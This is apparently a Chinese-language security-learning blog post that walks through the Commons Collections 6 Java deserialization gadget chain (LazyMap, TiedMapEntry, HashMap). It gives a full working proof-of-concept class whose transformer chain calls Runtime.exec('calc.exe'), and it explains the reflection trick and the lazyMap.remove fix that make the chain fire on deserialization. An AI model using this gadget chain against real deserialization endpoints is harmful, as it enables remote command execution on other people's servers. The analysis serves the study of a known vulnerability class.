commons-collections6反序列化链
commons-collections6反序列化链分析
整体分析
cc6这条链我们先来ysoserial看看他的源码,源码如下
我们可以看到,他也是使用了LazyMap,但是不同的是,他是通过其他方式调用到了LazyMap的get方法,我们可以深入来看看,这里由于前面学过cc1的LazyMap的那条链了,关注LazyMap前面的部分就不再赘述,如果有师傅不懂的可以看看前面的文章
细节分析
咱就从 LazyMap的get方法开始吧,因为前面的和之前的链子是一样的。先找到谁调用了get方法,这里直接锁定TiedMapEntry的getValue方法,他这里返回了map.get(key),并且构造函数是publice,可以直接new TiedMapEntry这里的map对应的应该是之前的lazymap
接下来是寻找调用getValue的位置,找到同个类下的hashCode方法
这里调用了getValue()方法,我们得继续往上找,最好能直接找到在readObject方法中调用getValue(),ysoserial中给的是HashMap,那我们就在HashMap中找找
在HaspMap的hash方法中能够找到调用hashCode方法,并且在readObject中找到了调用hash方法
至此这条链是差不多了,我们只需要手写poc即可,但是其实这里是有个小坑,就是在序列化的时候就会弹出计算器,这里的话和urldns那条链差不多的问题,我们这里会发现,在序列化的时候就触发了
这里因为HashMap的put方法也调用了hash,所以我们要通过反射来修改tiedMapEntry的值,这里的话tiedMapEntry里面嵌套了lazyMap,lazyMap里嵌套了chainedTransformer,我们只需要改一层就好了,让他在put的时候的状态不能触发这条链,put完以后再改回去
所以可以直接这样改
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap=new HashMap<>();
Map<Object,Object> lazyMap= LazyMap.decorate(hashMap,chainedTransformer);
// Map<Object,Object> lazyMap= LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaa");
HashMap hashMap1 = new HashMap();
hashMap1.put(tiedMapEntry,"bbb");
// Class c=LazyMap.class;
// Field factoryField = c.getDeclaredField("factory");
// factoryField.setAccessible(true);
// factoryField.set(lazyMap,chainedTransformer);
代码中被注释掉的都是修改以后的结果,大家可以先看看,但是改完以后会发现,反而没法触发了,这是怎么回事呢?这还是和urldns比较相似,我们只要把之前他put进去的一个键值对删了即可(哈哈这里其实我原本没调出来问题所在,想着先把文章发了,现在来补充印一下)。这里的话问题其实出在LazyMap的get方法中
我们直接在这个if这打上断点开始调试,我们可以看到,在这把这个key和value给put进去了,所以在反序列化的时候这里就有key了,就进不来了,我们只需要在后面把这个key给remove掉即可
所以只需要加上
lazyMap.remove("ch1e");
再次调试,这次是反序列化以后的get了,因为把map里的ch1e的键删了,就可以进入if语句
最终POC如下
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap=new HashMap<>();
// Map<Object,Object> lazyMap= LazyMap.decorate(hashMap,chainedTransformer);
Map<Object,Object> lazyMap= LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaa");
HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry,"bbb");
lazyMap.remove("aaa");
Class c=LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
serialize(hashMap1);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
}
疑惑点
这里的话,上面的poc里为了成功执行,使用了lazyMap.remove("aaa");但是其实我在想,我们的目的是调用LazyMap的get方法,里面进入if的条件是当前lazyMap对象的map属性中不能有key,那我们为什么要去使用lazyMap的remove,而不是使用map.remove呢,这里我尝试了一下,使用map.remove貌似也能执行?这先丢着,希望有会的师傅可以指导我一下
这里解决了,还得是Y4哥哥猛啊
大概意思就是,LazyMap是继承了AbstractMapDecorator类,在AbstractMapDecorator类中有写remove方法,但是在LazyMap中没有写,他是使用的父类的remove,父类的remove其实是返回map.remove,所以上面我说的为什么不去找map属性的而是找本身的remove,一切都可以解释了